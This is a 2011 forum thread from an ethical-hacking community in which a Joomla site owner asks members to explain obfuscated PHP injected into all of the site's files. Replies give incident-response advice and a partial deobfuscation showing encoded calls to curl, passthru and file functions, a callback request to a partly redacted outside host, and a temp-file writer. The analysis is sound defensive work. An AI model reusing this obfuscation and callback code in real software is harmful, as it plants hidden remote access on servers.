Image
 
linkedin_logo.png rss_logo.jpg
twitter_logo.png youtube_logo.jpg
Latest Additions
 
EH-Net Login
Welcome Guest.






Lost Password?
No account yet? Register
Who's Online
We have 41 guests online
 
Advertisement

You are here: Home arrow Ethical Hacking Discussions and Related Certificationsarrow Malwarearrow HACK CODE TO BE EXPLANED
EH-Net
May 24, 2013, 10:57:47 AM *
Welcome, Guest. Please login or register.
Did you miss your activation email?

Login with username, password and session length
News: Go back to The Ethical Hacker Network Online Magazine Home Page
 
   Home   Help Calendar Login Register  
Pages: [1] 2   Go Down
  Print  
Author Topic: HACK CODE TO BE EXPLANED  (Read 11334 times)
0 Members and 1 Guest are viewing this topic.
alexsp
Newbie
*
Offline Offline

Posts: 5


View Profile
« on: January 26, 2011, 04:08:21 PM »

hello there to the ethical hacker community, at the start of the attached file there is code that i found to all .php files that exist on a site that was hacked. If the code seems interesting to anyone, some explanation on what the code does would be very helpful so i can secure my site.
Logged
cd1zz
Hero Member
*****
Offline Offline

Posts: 561


View Profile WWW
« Reply #1 on: January 26, 2011, 05:52:34 PM »

This doesn't look malicious to me. Why do you think it is?
Logged

alexsp
Newbie
*
Offline Offline

Posts: 5


View Profile
« Reply #2 on: January 27, 2011, 01:37:00 AM »

First of all thanks for the reply, i know this code is malicious because the site was hacked several times and many strange things happened, you know like frontpage replacement from hackers and thiings like that. Secondly because the site is built on joomla and i can distinguish (so can everyone who has been working with joomla) the code that exists on a normal joomla .php page from code that was manually inserted. You can also notice this, the joomla code starts with the joomla credits comments (at line 2!!!).
Can you tell what the first part of code (the one that is not well lined out well and is before the joomla credits comments) is for? Also if you can see it uses code encoding and decoding, i don't know, i can post also a normal index.php to view the difference
Logged
alexsp
Newbie
*
Offline Offline

Posts: 5


View Profile
« Reply #3 on: January 27, 2011, 01:43:27 AM »

I forgot to mention that this code has been placed to all .php pages of the site, that is not very common don't you think? This is actually a professional real hack and i think it is very interesting to be investigated how  this was done...
Logged
Andrew Waite
Hero Member
*****
Offline Offline

Posts: 928



View Profile WWW
« Reply #4 on: January 27, 2011, 03:43:47 AM »

Alexsp,

I've no experience with Joomla, so apologises if this is overly generic. If you can post what the file should be, or just outline which code is added/modified that will help.

However, whilst this may be a result of a compromise, I'd not expect the code you've found to be the first point of intrusion, as any attacker would already need a foothold on the server to be able to add/alter any of your existing source.

I'd strongly suggest a thorough review of server logs, access, user etc. (basically the usual candidates), as well as a security audit of the code hosted on the site.

Is this site the only web application running on the server, or is it shared? If shared, it could be that the fault doesn't existing within your application, but a weakness on a different site has allowed a malicious user to system access to modify source code of otherwise secure web apps.

Hope this helps.
Logged

alexsp
Newbie
*
Offline Offline

Posts: 5


View Profile
« Reply #5 on: January 27, 2011, 04:48:21 AM »

I am posting an original ("clean") index.php file of joomla as it should normally be.
It is obvious that this part of code shouldn't be there, but even if someone claims that this code is not malicious it means that he or she understands what this code does. So please if you will explain to me too.
Andrew i know that is not the first point of intrusion, and i know also that joomla has a lot of known vulnerabilitites, but i see a piece of code on the files of a site and i am curious what this does and how.
Logged
Andrew Waite
Hero Member
*****
Offline Offline

Posts: 928



View Profile WWW
« Reply #6 on: January 27, 2011, 05:02:59 AM »

Again, not a Joomla expert so I'm going blind on some things, but:

'Edited' index file includes two additional php files (helper.php & toolbar.php). Are these a legitimate part of the framework? Are they also edited? Are they required? What do they do?

looks like the edited file removes an authorisation call, suspicion levels rising...

Finally, the edited index file looks like to calls a function to get a gzipped copy of the configuration file.

From my knowledge of Joomla this could be legit (if you're seeing it across multiple systems, any chance you've just upgraded Joomla?). But at worst looks like a data leakage issue, I'd still suggest focusing on locating the original compromise, this looks to be more a symptom than a cause.

Can anyone shed any additional light?
Logged

alexsp
Newbie
*
Offline Offline

Posts: 5


View Profile
« Reply #7 on: January 27, 2011, 05:56:25 AM »

I agree that is the symptom and not the cause. I would like to say again that this code has been inserted to all php pages, the number of those is very large.
As for the files you mentioned Andrew helper.php and the other one, yes these files are very common to joomla.
So only someone that would understand what the code does per line could help right now.
I am not sure but the first big part looks like a shell to me. 
Logged
Andrew Waite
Hero Member
*****
Offline Offline

Posts: 928



View Profile WWW
« Reply #8 on: January 27, 2011, 06:26:08 AM »

I am not sure but the first big part looks like a shell to me. 

which part? Unless I'm missing something I can't see anything in the code you've uploaded that indicates a shell.
Logged

hayabusa
Hero Member
*****
Offline Offline

Posts: 1633



View Profile
« Reply #9 on: January 27, 2011, 09:09:06 AM »

While, unfortunately, I don't have time to review code, today...

My inking, first, would be to setup a LAN sniffer and a test workstation, open the php from the test workstation, trace it, and see what happens...
Logged

~ hayabusa ~ 

"All men can see these tactics whereby I conquer, but what none can see is the strategy out of which victory is evolved." - Sun Tzu, 'The Art of War'


OSCE, OSCP , GPEN, C|EH
n1p
Jr. Member
**
Offline Offline

Posts: 89


View Profile WWW
« Reply #10 on: January 27, 2011, 09:53:21 AM »

Initial inspection - the initial arguments are set to globals for each function which are extrememly obfuscated:
Code:
$x1e="\x63u\162\x6c\x5f\x69\156i\x74";            //curl_init
$x1f="\143\165rl\137set\x6fp\x74";                 //curl_setopt
$x20="\x63\165r\154_\x65xe\x63";                   //defined               
$x23="\x66\143\154\x6f\163e";             
$x24="f\x69l\145\x5fg\x65t\x5f\143on\164\145nt\x73";  //file_get_contents
$x25="\146\x6f\160\145\x6e";   //fopen
$x26="f\x75n\x63\x74\x69\x6f\156\137\x65xi\163\x74\163";  // function_exists
$x27="\146\167\x72i\x74\145";   //fwrite
$x28="\x68\145a\144\145\x72";   //header
$x29="\x69\156\151_\147e\164";  //ini_get
$x2a="\x69s_f\151\x6ce";       //isfile
$x2b="\x6d\1445";         //md5
$x2c="\160a\163s\x74h\162u";    //passthru
$x2d="strpos";
$x2e="\x73t\162t\157l\157\167er";  //strtolower
$x2f="\165rl\145n\x63od\x65";   //urlencode

Also creates a file in my instance on local file system in Temp folder and writes to that file after making following request

Code:
"http://getpro<removed>number.com/i/rem.php?u=http://yourhost/index.php%3FDBGSESSID%3D405705822416000001%3Bd&k=054bb441428d289666e5cc9692c5420d&t=jm"

In this instance k is the filename for temp created file...

Code:
function x0e($x10,$x12){
global $x1e,$x1f,$x20,$x21,$x22,$x23,$x24,$x25,$x26,$x27,$x28,$x29,$x2a,$x2b,$x2c,$x2d,$x2e,$x2f;
if ($x2a($x10)){         //if(is_file(local temp file))
$x13=@$x25($x10,'w');    //then open it with w privs
@$x27($x13,$x12);         //fwrite
@$x23($x13);               //fclose
@$x28('Y_Out: b2s=');     //header('Y_Out: b2s=');
}
}

Alot of other code, there I haven't had a chance to look at. That remote site appears down, but is actually a forbidden index page... Suspicious?

Given more time I could have a look, but that may help you get started... PM if you want real URL as I didnt want possibly malicious URLs on posting....

Apologies if not too detailed, I could only look for 10 mins!

n1p
Logged
cd1zz
Hero Member
*****
Offline Offline

Posts: 561


View Profile WWW
« Reply #11 on: January 27, 2011, 10:38:01 AM »

n1p

Which file did that come from?
Logged

n1p
Jr. Member
**
Offline Offline

Posts: 89


View Profile WWW
« Reply #12 on: January 27, 2011, 11:13:49 AM »

First one provided.. extracted the added code in main index.php and reformatted it..
Logged
cd1zz
Hero Member
*****
Offline Offline

Posts: 561


View Profile WWW
« Reply #13 on: January 27, 2011, 11:17:30 AM »

I'm an idiot - I didn't have word wrap on. I'll take a look now.
Logged

Andrew Waite
Hero Member
*****
Offline Offline

Posts: 928



View Profile WWW
« Reply #14 on: January 27, 2011, 03:46:27 PM »

I'm an idiot - I didn't have word wrap on. I'll take a look now.
+1, I did the same, nothing like a rookie error on a public board Cry
Logged

Pages: [1] 2   Go Up
  Print  
 
Jump to:  

Powered by MySQL Powered by PHP Powered by SMF 1.1.18 | SMF © 2013, Simple Machines
Joomla Bridge by JoomlaHacks.com
Valid XHTML 1.0! Valid CSS!
Page created in 0.076 seconds with 23 queries.
 
Exclusive Deal

sansfire13_245x90_cw90.jpg
SANSFIRE 2013
June 15 - 22

5% Off w/ Code: EHN_5

SANS Deals 4 EH-Netters
5% OFF Any SANS Course in Any Format!
Coupon Code: EHN_5 Including SANS Rocky Mountain 2013 & SANS Boston 2013
Polls
Compared to this year, 2013 will be:
 
Recent Forum Topics
EH-Net News Feeds
Latest Additions
 
         
Advertisement

© 2013 The Ethical Hacker Network
Joomla! is Free Software released under the GNU/GPL License.